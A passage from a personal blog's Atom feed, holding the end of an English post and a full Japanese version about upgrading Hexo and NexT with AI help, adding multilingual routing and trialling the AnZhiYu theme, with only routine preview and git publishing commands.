class="string">zh-CN</span>, <span class="string">en</span>, <span class="string">ja</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># Multilingual plugin config</span></span><br><span class="line"><span class="attr">i18n_blog:</span></span><br><span class="line">  <span class="attr">default_language:</span> <span class="string">zh-CN</span>     <span class="comment"># default language</span></span><br><span class="line">  <span class="attr">langs:</span> [<span class="string">en</span>, <span class="string">ja</span>]             <span class="comment"># other enabled languages</span></span><br></pre></td></tr></table></figure><h3 id="Writing-a-New-Post"><a href="#Writing-a-New-Post" class="headerlink" title="Writing a New Post"></a>Writing a New Post</h3><p><strong>Chinese post (default language):</strong></p><p>Location: <code>source/_posts/</code><br>Example: <code>source/_posts/我的新文章.md</code></p><p>front-matter example:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">我的新文章</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p>No <code>lang</code> field needed; <code>abbrlink</code> is auto-generated at build time.</p><p><strong>English translation (requires the Chinese original):</strong></p><p>Location: <code>source/_posts/en/</code><br>Example: <code>source/_posts/en/my-new-article.md</code></p><p>front-matter example:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">My</span> <span class="string">New</span> <span class="string">Article</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Tech</span> <span class="string">Notes</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="attr">lang:</span> <span class="string">en</span></span><br><span class="line"><span class="attr">abbrlink:</span> <span class="number">12345678</span>    <span class="comment"># the same abbrlink as the Chinese version</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><strong>Key:</strong> <code>lang: en</code> is required, and <code>abbrlink</code> must match the Chinese original.</p><p><strong>Japanese post (empty site for now; add when translated):</strong></p><p>Location: <code>source/_posts/ja/</code><br>front-matter needs <code>lang: ja</code> + the same <code>abbrlink</code>.</p><h3 id="Local-Preview"><a href="#Local-Preview" class="headerlink" title="Local Preview"></a>Local Preview</h3><p><strong>NexT theme (port 4100):</strong></p><p>Run in the blog root:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server -p 4100</span><br></pre></td></tr></table></figure><p>Visit <a href="http://localhost:4100/">http://localhost:4100</a></p><p><strong>AnZhiYu theme (port 4200):</strong></p><p>Run in the blog root:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server --config <span class="string">&quot;_config.yml,_config.anzhiyu_test.yml&quot;</span> -p 4200</span><br></pre></td></tr></table></figure><p>Visit <a href="http://localhost:4200/">http://localhost:4200</a></p><p><strong>Note:</strong> after changing <code>_config.anzhiyu.yml</code> or files under <code>source/css/</code> etc., restart the server to apply. Press <code>Ctrl+C</code> to stop, then re-run the command above.</p><h3 id="Publishing"><a href="#Publishing" class="headerlink" title="Publishing"></a>Publishing</h3><p>CNB cloud-native build: pushing to <code>master</code> auto-deploys. No local <code>hexo g</code> needed.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">git add -A</span><br><span class="line">git commit -m <span class="string">&quot;update&quot;</span></span><br><span class="line">git push origin master</span><br></pre></td></tr></table></figure><p><strong>Note:</strong> git push inside the sandbox fails with credential errors — run the commands above in a local terminal (cmd&#x2F;PowerShell).</p><h3 id="Previewing-During-Config-Migration"><a href="#Previewing-During-Config-Migration" class="headerlink" title="Previewing During Config Migration"></a>Previewing During Config Migration</h3><p>The live site is still on NexT. The AnZhiYu test-drive config lives in the following files, not yet committed to master:</p><table><thead><tr><th>File</th><th>Description</th></tr></thead><tbody><tr><td><code>_config.anzhiyu.yml</code></td><td>AnZhiYu override config (1342 lines)</td></tr><tr><td><code>_config.anzhiyu_test.yml</code></td><td>Test-drive switch (single line: <code>theme: anzhiyu</code>)</td></tr><tr><td><code>source/css/anzhiyu-custom.css</code></td><td>AnZhiYu-specific CSS</td></tr><tr><td><code>source/js/i18n-switcher.js</code></td><td>Language switcher button JS</td></tr><tr><td><code>themes/anzhiyu/</code></td><td>The AnZhiYu theme itself</td></tr></tbody></table><p>Once I finish migrating the menu, friend links, comments and other configs, I’ll decide whether to make AnZhiYu the production theme.</p><h2 id="6-TODO-Outlook"><a href="#6-TODO-Outlook" class="headerlink" title="6. TODO &amp; Outlook"></a>6. TODO &amp; Outlook</h2><ul><li><strong>SEO work</strong>: hreflang alternates, multilingual sitemap entries, robots.txt — searching “misaka10013” currently surfaces GitHub first; the blog’s visibility needs work</li><li><strong>Translating key posts</strong>: pick important posts, AI drafts, I refine, gradually enriching the English site</li><li><strong>AnZhiYu goes live</strong>: decide whether to switch once config migration is done</li><li><strong>OSS key rotation</strong>: the plaintext keys in the deploy section are in git history — rotation recommended</li></ul>]]>
    </content>
    <id>http://misaka10013.cn/en/p/913761649.html</id>
    <link href="http://misaka10013.cn/en/p/913761649.html"/>
    <published>2026-08-28T09:20:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="1-Background-Motivation"><a href="#1-Background-Motivation" class="headerlink" title="1. Background &amp; Motivation"></a>1. Background &amp; Motivation</h2><p>My blog (misaka10013.cn) has been running on Hexo 4.2.0 + NexT 6.0.0 since it was first launched — six years without touching the framework. Every time I recently asked an AI to help add a feature or tweak a page, it complained that my versions were too old: outdated dependencies, incompatible plugins, even the config syntax has changed. I should have upgraded long ago, but I kept putting it off.</p>
<p>Lately I’ve had a few new ideas:</p>]]>
    </summary>
    <title>
      <![CDATA[Hexo Upgrade Journey: Six Years Later & Multilingual Support]]>
    </title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="http://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="Hexo" scheme="http://misaka10013.cn/tags/Hexo/"/>
    <category term="NexT" scheme="http://misaka10013.cn/tags/NexT/"/>
    <category term="AnZhiYu" scheme="http://misaka10013.cn/tags/AnZhiYu/"/>
    <category term="ブログアップグレード" scheme="http://misaka10013.cn/tags/%E3%83%96%E3%83%AD%E3%82%B0%E3%82%A2%E3%83%83%E3%83%97%E3%82%B0%E3%83%AC%E3%83%BC%E3%83%89/"/>
    <category term="多言語" scheme="http://misaka10013.cn/tags/%E5%A4%9A%E8%A8%80%E8%AA%9E/"/>
    <content>
      <![CDATA[<h2 id="一、背景と動機"><a href="#一、背景と動機" class="headerlink" title="一、背景と動機"></a>一、背景と動機</h2><p>私のブログ（misaka10013.cn）は開設以来ずっと Hexo 4.2.0 + NexT 6.0.0 で、6年間フレームワークに触っていなかった。最近新しい機能を追加したりページを調整しようと、AI に作業を依頼するたびに「バージョンが古すぎる」と言われた——依存関係が時代遅れ、プラグインが非互換、設定構文も変わっている。そろそろ上げるべきだと分かっていながら、ずっと後回しにしていた。</p><p>最近、主にいくつか新しいアイデアがある：</p><p><strong>1. 多言語対応。</strong> 中英日の3言語を追加したい——一つは外国語の練習。自分の書いた記事を言語を切り替えて読み直す。もう一つは SEO の問題。国内外問わず、私のブログ記事は検索されにくく、多言語版は検索エンジンにとってよりフレンドリー。</p><p><strong>2. 新しいテーマを試したい。</strong> 安知鱼（AnZhiYu）テーマに目をつけた。色が豊かで、角丸カード、グラデーションアニメーションなど、NexT のミニマルな「無関心」スタイルとは正反対。どうせ変えるなら、いっそ最新バージョンまで一気に上げてしまおう。</p><h2 id="二、フレームワークアップグレード（Hexo-4→8-NexT-6→8）"><a href="#二、フレームワークアップグレード（Hexo-4→8-NexT-6→8）" class="headerlink" title="二、フレームワークアップグレード（Hexo 4→8 + NexT 6→8）"></a>二、フレームワークアップグレード（Hexo 4→8 + NexT 6→8）</h2><h3 id="全体方針"><a href="#全体方針" class="headerlink" title="全体方針"></a>全体方針</h3><p>AI との初回の打ち合わせとブログの現状確認を経て、実行計画を決めた。<code>master</code> ブランチから <code>next8</code> ブランチを切り、ブランチ上でアップグレード・テーマ移行・機能移植・多言語開発をすべて行い、テストが全部通ってから <code>master</code> にマージして公開する。その間、本番で動いている旧バージョンには一切影響しない。</p><h3 id="分担"><a href="#分担" class="headerlink" title="分担"></a>分担</h3><ul><li><strong>私（御坂）</strong>：方針決定、手順の確認、最終判断</li><li><strong>AI</strong>：具体的な実行、影響評価、落とし穴の報告</li></ul><h3 id="アップグレード一覧"><a href="#アップグレード一覧" class="headerlink" title="アップグレード一覧"></a>アップグレード一覧</h3><table><thead><tr><th>項目</th><th>旧バージョン</th><th>新バージョン</th></tr></thead><tbody><tr><td>Hexo</td><td>4.2.0</td><td>8.1.2</td></tr><tr><td>NexT</td><td>6.0.0（git clone）</td><td>8.29.0（npm パッケージ）</td></tr><tr><td>Node.js</td><td>16.x</td><td>22.22.2</td></tr><tr><td>デプロイ</td><td>CNB クラウドビルド</td><td>同上（node:18→node:22 に変更）</td></tr></tbody></table><h2 id="三、多言語の仕組み"><a href="#三、多言語の仕組み" class="headerlink" title="三、多言語の仕組み"></a>三、多言語の仕組み</h2><h3 id="要件のすり合わせ"><a href="#要件のすり合わせ" class="headerlink" title="要件のすり合わせ"></a>要件のすり合わせ</h3><p>AI と協働する以上、要件の粒度を合わせる必要がある。まず AI にざっくりした要件から具体的な実装方法を出してもらい、その後ソクラテス式に質問を繰り返して、要件を徐々に固めていった：</p><ol><li>3言語 UI（中英日）——✅ 必須</li><li>サイト全体でサイドバーに常駐する言語切り替えボタン——✅ 必須</li><li>各言語サイトのトップページはその言語の記事のみ表示——✅ 必須</li><li>記事ページ：翻訳あり→ジャンプ、翻訳なし→ボタン無効化＋記事内の案内表示——✅ 折衷案</li><li>翻訳はユーザーの仕事、AI はフレームワークのみ——✅ 明確化</li><li>日本語サイトは初期は空でも可——✅ 承諾</li></ol><h3 id="最終方針：単一ビルド-薄いスクリプト"><a href="#最終方針：単一ビルド-薄いスクリプト" class="headerlink" title="最終方針：単一ビルド + 薄いスクリプト"></a>最終方針：単一ビルド + 薄いスクリプト</h3><p>最終的には、単一ビルド + <code>scripts/i18n-blog.js</code> 1本で全ロジックを実現した。</p><h4 id="1-翻訳記事のルーティング：post-permalink-フィルター（優先度-9）"><a href="#1-翻訳記事のルーティング：post-permalink-フィルター（優先度-9）" class="headerlink" title="1. 翻訳記事のルーティング：post_permalink フィルター（優先度 9）"></a>1. 翻訳記事のルーティング：<code>post_permalink</code> フィルター（優先度 9）</h4><ul><li><strong>解決する問題</strong>：デフォルトでは全記事が同じ URL 構造になり、言語バージョンを区別できない。</li><li><strong>スクリプトのやり方</strong>：Hexo が記事のパーマリンクを生成する時に横取りして書き換える。<ul><li>デフォルト言語（例：<code>zh-CN</code>）の記事は元のパスを維持（例：<code>/p/xxx.html</code>）。</li><li>翻訳記事（例：<code>en</code>）は強制的に <code>/en/p/xxx.html</code> に書き換える。</li></ul></li></ul><p>効果：同じ記事の異なる言語版が<strong>独立した整然とした URL</strong> を持ち、SEO と切り替えジャンプに有利。</p><h4 id="2-言語ごとの独立リストページ生成：index-archive-category-tag-ジェネレーターのオーバーライド"><a href="#2-言語ごとの独立リストページ生成：index-archive-category-tag-ジェネレーターのオーバーライド" class="headerlink" title="2. 言語ごとの独立リストページ生成：index / archive / category / tag ジェネレーターのオーバーライド"></a>2. 言語ごとの独立リストページ生成：<code>index / archive / category / tag</code> ジェネレーターのオーバーライド</h4><ul><li><strong>解決する問題</strong>：Hexo のデフォルトジェネレーターは全記事を混ぜてインデックスとアーカイブを生成するため、言語で分けられない。</li><li><strong>スクリプトのやり方</strong>：<ul><li>これらのジェネレーターのロジックを書き換える。</li><li>言語ごとに、その言語の<strong>トップ・アーカイブ・カテゴリ・タグ</strong>ページを生成する。</li><li>生成時は<strong>その言語の記事のみをフィルタリング</strong>する。</li><li>該当言語に記事が1件もない場合は、404 を返さず<strong>プレースホルダーページ</strong>を生成する。</li></ul></li></ul><p>効果：</p><ul><li>各言語サイトが自分専用のトップページと一覧を持ち、互いに干渉しない。</li><li><code>/en/</code> にアクセスすると少なくともプレースホルダーが表示され、空ページエラーが出ない。ユーザー体験がより丁寧。</li></ul><h4 id="3-1-言語切り替え（Select-ドロップダウン）と記事内の言語バナーの挿入"><a href="#3-1-言語切り替え（Select-ドロップダウン）と記事内の言語バナーの挿入" class="headerlink" title="3.1 言語切り替え（Select ドロップダウン）と記事内の言語バナーの挿入"></a>3.1 言語切り替え（Select ドロップダウン）と記事内の言語バナーの挿入</h4><ul><li><p>スクリプトが<strong>現在のページ</strong>に他言語バージョンが存在するかを分析する。</p></li><li><p><strong>翻訳あり</strong>：切り替えオプションがハイライト&#x2F;クリック可能になり、正しい翻訳 URL を指す。</p></li><li><p><strong>翻訳なし</strong>：切り替えオプションをグレーアウト（<code>disabled</code>）し、<code>title</code> 属性で「この記事には英語版がありません」等を表示する。</p></li><li><p>記事に他言語バージョンが存在する場合、記事本文の先頭に案内バナーを挿入する。</p></li><li><p>例：「本文の英語版：English Version」</p></li><li><p>英語版の場合は「この記事の中国語版：中文原文」と表示する。</p></li></ul><p>効果：ページ上の言語切り替えは<strong>実際にコンテンツが存在するかどうか</strong>で完全に決定される。存在しないページへのジャンプを防ぎ、インタラクション体験が非常にスマート。</p><h4 id="4-中核実装：i18n-map-ジェネレーター"><a href="#4-中核実装：i18n-map-ジェネレーター" class="headerlink" title="4. 中核実装：i18n_map ジェネレーター"></a>4. 中核実装：<code>i18n_map</code> ジェネレーター</h4><ul><li><strong>解決する問題</strong>：フロントエンド JS が言語ジャンプを高速に行うための辞書が必要。</li><li><strong>スクリプトのやり方</strong>：ビルド時に静的 JS ファイル <code>/js/i18n-map.js</code> を追加生成する。</li></ul><p>このファイルにはマッピングテーブルが含まれる。例：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">I18N_MAP</span> = &#123;</span><br><span class="line">  <span class="string">&quot;my-post&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;zh-CN&quot;</span>: <span class="string">&quot;/p/my-post.html&quot;</span>,</span><br><span class="line">    <span class="string">&quot;en&quot;</span>: <span class="string">&quot;/en/p/my-post.html&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>効果：このデータが各記事の一意 ID（<code>abbrlink</code>）と全言語版のルートを結びつける。フロントエンドはこのテーブルを直接読み取って即座に切り替えができ、サーバーへのリクエスト不要で応答が速い。</p><h4 id="5-全体のワークフロー"><a href="#5-全体のワークフロー" class="headerlink" title="5. 全体のワークフロー"></a>5. 全体のワークフロー</h4><p>このスクリプトの指揮の下、Hexo のビルド順序は：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">graph TD</span><br><span class="line">    A[ビルド開始] --&gt; B[Step 1: 翻訳記事のパーマリンク修正]</span><br><span class="line">    B --&gt; C[Step 2: 言語ごとのリストページ生成]</span><br><span class="line">    C --&gt; D[Step 3: 言語切り替えロジックと翻訳バナーの注入]</span><br><span class="line">    B --&gt; E[Step 4: フロントエンド言語マップ i18n-map.js 生成]</span><br><span class="line">    D --&gt; F[静的サイト生成完了]</span><br><span class="line">    E --&gt; F</span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">段階</th><th align="left">技術ポイント</th><th align="left">出力物</th><th align="left">フロントエンドの成果</th></tr></thead><tbody><tr><td align="left">ルーティング</td><td align="left"><code>post_permalink</code> フィルター</td><td align="left">記事の言語別 URL</td><td align="left">URL 構造が明確</td></tr><tr><td align="left">リスト生成</td><td align="left">4種ジェネレーターをオーバーライド</td><td align="left">言語別トップ&#x2F;アーカイブ&#x2F;カテゴリ&#x2F;タグ</td><td align="left">コンテンツが言語で分離、404なし</td></tr><tr><td align="left">ページ装飾</td><td align="left"><code>after_render:html</code></td><td align="left">修正済み HTML</td><td align="left">スマート切り替え + 翻訳バナー</td></tr><tr><td align="left">データ層</td><td align="left"><code>i18n_map</code> ジェネレーター</td><td align="left"><code>/js/i18n-map.js</code></td><td align="left">フロントエンド用ルート辞書</td></tr></tbody></table><h3 id="翻訳ワークフロー（今後は私が実施）"><a href="#翻訳ワークフロー（今後は私が実施）" class="headerlink" title="翻訳ワークフロー（今後は私が実施）"></a>翻訳ワークフロー（今後は私が実施）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AI が初稿を翻訳 → 私が精査 → source/_posts/en/ に配置</span><br><span class="line">→ front-matter に lang: en + 原文と同じ abbrlink を記載</span><br><span class="line">→ ローカルプレビューで検証 → git push で公開</span><br></pre></td></tr></table></figure><h3 id="切り替えボタンのインタラクションロジック"><a href="#切り替えボタンのインタラクションロジック" class="headerlink" title="切り替えボタンのインタラクションロジック"></a>切り替えボタンのインタラクションロジック</h3><table><thead><tr><th>シチュエーション</th><th>動作</th></tr></thead><tbody><tr><td>記事に中国語&#x2F;英語版がある</td><td>クリック可能。対応言語版へジャンプ</td></tr><tr><td>その言語版がない</td><td>ボタンをグレーアウト無効化、ホバーで「この記事にはこの言語版がありません」</td></tr><tr><td>他言語版がある</td><td>記事上部にバナー：「🌐 この記事には他言語版もあります：English」</td></tr><tr><td>言語サイトのトップ</td><td>その言語の記事一覧のみ表示</td></tr></tbody></table><h2 id="四、テーマ試乗（安知鱼）"><a href="#四、テーマ試乗（安知鱼）" class="headerlink" title="四、テーマ試乗（安知鱼）"></a>四、テーマ試乗（安知鱼）</h2><h3 id="ゼロ汚染の共存プラン"><a href="#ゼロ汚染の共存プラン" class="headerlink" title="ゼロ汚染の共存プラン"></a>ゼロ汚染の共存プラン</h3><p>既存の NexT 設定を壊さず、ローカルで2台のサーバーを並行起動。ページの要件を見ながら、旧テーマのカスタム設定を少しずつ移行する：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ポート 4100 → NexT テーマ（hexo server -p 4100）</span><br><span class="line">ポート 4200 → 安知鱼テーマ（hexo server --config &quot;_config.yml,_config.anzhiyu_test.yml&quot; -p 4200）</span><br></pre></td></tr></table></figure><p><code>_config.anzhiyu_test.yml</code> は1行の設定だけでテーマを切り替えられるようにしてあり、いつでもミニマルスタイルに戻せる：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">theme:</span> <span class="string">anzhiyu</span></span><br></pre></td></tr></table></figure><p>起動時に Hexo が2つの設定ファイルをマージし、安知鱼が <code>theme</code> フィールドを上書きする。その他の設定（記事、多言語スクリプトなど）はメイン設定を共有する。</p><h3 id="安知鱼の設定体系"><a href="#安知鱼の設定体系" class="headerlink" title="安知鱼の設定体系"></a>安知鱼の設定体系</h3><p><strong>重要：</strong> 安知鱼の設定はすべてブログルートの <code>_config.anzhiyu.yml</code> で変更する。<code>themes/anzhiyu/</code> 内のファイルには触らない。</p><h3 id="機能移行チェックリスト"><a href="#機能移行チェックリスト" class="headerlink" title="機能移行チェックリスト"></a>機能移行チェックリスト</h3><p>旧ブログのカスタム小機能の移行——新テーマに残すもの、やめるもの。</p><table><thead><tr><th>機能</th><th>安知鱼での状態</th><th>備考</th></tr></thead><tbody><tr><td>Live2D 看板娘</td><td>✅ 残す</td><td>autoload.js を注入。音楽プレイヤーは左上に移動して干渉を回避</td></tr><tr><td>多言語切り替え</td><td>✅ 移植</td><td>右側フローティングバーに注入。無効化&#x2F;ジャンプのロジックを踏襲</td></tr><tr><td>コピーボタン</td><td>❌ 不要</td><td>新テーマに内蔵</td></tr><tr><td>クラッシュ演出</td><td>❌ 不要</td><td>新テーマには別の形がある</td></tr><tr><td>読書進捗</td><td>❌ 不要</td><td>新テーマに内蔵</td></tr><tr><td>コメント&#x2F;フレンドリンク&#x2F;メニュー等</td><td>手動で少しずつ</td><td>NexT 設定から1項目ずつ移行</td></tr></tbody></table><h2 id="五、現在の設定と操作ガイド"><a href="#五、現在の設定と操作ガイド" class="headerlink" title="五、現在の設定と操作ガイド"></a>五、現在の設定と操作ガイド</h2><h3 id="多言語設定の説明"><a href="#多言語設定の説明" class="headerlink" title="多言語設定の説明"></a>多言語設定の説明</h3><p><code>_config.yml</code> の以下のフィールドを変更：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 言語順序：最初がデフォルト言語（中国語）</span></span><br><span class="line"><span class="attr">language:</span> [<span class="string">zh-CN</span>, <span class="string">en</span>, <span class="string">ja</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 多言語プラグイン設定</span></span><br><span class="line"><span class="attr">i18n_blog:</span></span><br><span class="line">  <span class="attr">default_language:</span> <span class="string">zh-CN</span>     <span class="comment"># デフォルト言語</span></span><br><span class="line">  <span class="attr">langs:</span> [<span class="string">en</span>, <span class="string">ja</span>]             <span class="comment"># 有効化する他の言語</span></span><br></pre></td></tr></table></figure><h3 id="新記事の書き方"><a href="#新記事の書き方" class="headerlink" title="新記事の書き方"></a>新記事の書き方</h3><p><strong>中国語記事（デフォルト言語）：</strong></p><p>ファイルの場所：<code>source/_posts/</code><br>例：<code>source/_posts/我的新文章.md</code></p><p>front-matter 例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">我的新文章</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><code>lang</code> フィールドは不要。<code>abbrlink</code> はビルド時に自動生成される。</p><p><strong>英語翻訳（中国語原文とセットで）：</strong></p><p>ファイルの場所：<code>source/_posts/en/</code><br>例：<code>source/_posts/en/my-new-article.md</code></p><p>front-matter 例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">My</span> <span class="string">New</span> <span class="string">Article</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Tech</span> <span class="string">Notes</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="attr">lang:</span> <span class="string">en</span></span><br><span class="line"><span class="attr">abbrlink:</span> <span class="number">12345678</span>    <span class="comment"># 中国語版と同じ abbrlink</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><strong>重要：</strong> <code>lang: en</code> の記載が必須。<code>abbrlink</code> は中国語版と同一にすること。</p><p><strong>日本語記事（現在は空サイト、翻訳ができたら配置）：</strong></p><p>ファイルの場所：<code>source/_posts/ja/</code><br>front-matter に <code>lang: ja</code> + 同じ <code>abbrlink</code> を記載。</p><h3 id="ローカルプレビュー方法"><a href="#ローカルプレビュー方法" class="headerlink" title="ローカルプレビュー方法"></a>ローカルプレビュー方法</h3><p><strong>NexT テーマ（ポート 4100）：</strong></p><p>ブログルートで実行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server -p 4100</span><br></pre></td></tr></table></figure><p><a href="http://localhost:4100/">http://localhost:4100</a> にアクセス</p><p><strong>安知鱼テーマ（ポート 4200）：</strong></p><p>ブログルートで実行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server --config <span class="string">&quot;_config.yml,_config.anzhiyu_test.yml&quot;</span> -p 4200</span><br></pre></td></tr></table></figure><p><a href="http://localhost:4200/">http://localhost:4200</a> にアクセス</p><p><strong>注意：</strong> <code>_config.anzhiyu.yml</code> や <code>source/css/</code> などのファイルを変更した後は、サーバーの再起動が必要。<code>Ctrl+C</code> で停止してから上記コマンドを再実行する。</p><h3 id="公開操作"><a href="#公開操作" class="headerlink" title="公開操作"></a>公開操作</h3><p>CNB クラウドネイティブビルド。master ブランチに push すると自動デプロイされる。ローカルの <code>hexo g</code> は不要。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">git add -A</span><br><span class="line">git commit -m <span class="string">&quot;更新内容&quot;</span></span><br><span class="line">git push origin master</span><br></pre></td></tr></table></figure><p><strong>注意：</strong> サンドボックス環境の git push は認証エラーになるため、上記コマンドはローカル端末（cmd&#x2F;PowerShell）で実行すること。</p><h3 id="安知鱼設定移行期間中のプレビュー"><a href="#安知鱼設定移行期間中のプレビュー" class="headerlink" title="安知鱼設定移行期間中のプレビュー"></a>安知鱼設定移行期間中のプレビュー</h3><p>現在の本番はまだ NexT テーマ。安知鱼の試乗設定は以下のファイルにあり、master には未コミット：</p><table><thead><tr><th>ファイル</th><th>説明</th></tr></thead><tbody><tr><td><code>_config.anzhiyu.yml</code></td><td>安知鱼オーバーライド設定（1342行）</td></tr><tr><td><code>_config.anzhiyu_test.yml</code></td><td>試乗スイッチ（1行のみ <code>theme: anzhiyu</code>）</td></tr><tr><td><code>source/css/anzhiyu-custom.css</code></td><td>安知鱼専用 CSS</td></tr><tr><td><code>source/js/i18n-switcher.js</code></td><td>言語切り替えボタン JS</td></tr><tr><td><code>themes/anzhiyu/</code></td><td>安知鱼テーマ本体</td></tr></tbody></table><p>メニュー・フレンドリンク・コメントなどの設定移行が完了したら、安知鱼を正式に本番にするか決める。</p><h2 id="六、TODO-と展望"><a href="#六、TODO-と展望" class="headerlink" title="六、TODO と展望"></a>六、TODO と展望</h2><ul><li><strong>SEO 専項</strong>：hreflang alternates、sitemap の多言語エントリ、robots.txt——今「misaka10013」で検索すると主に GitHub が出る。ブログの可視性を高めたい</li><li><strong>重点記事の翻訳</strong>：重要記事を選び、AI で初稿を翻訳して自分で精査し、英語版を徐々に充実させる</li><li><strong>安知鱼の正式公開</strong>：設定移行完了後に切り替えるか判断</li><li><strong>OSS キーのローテーション</strong>：deploy セクションの平文キーが git 履歴に残っているため、ローテーションを推奨</li></ul>]]>
    </content>
    <id>http://misaka10013.cn/ja/p/913761649.html</id>
    <link href="http://misaka10013.cn/ja/p/913761649.html"/>
    <published>2026-08-28T09:20:00.000Z</published>
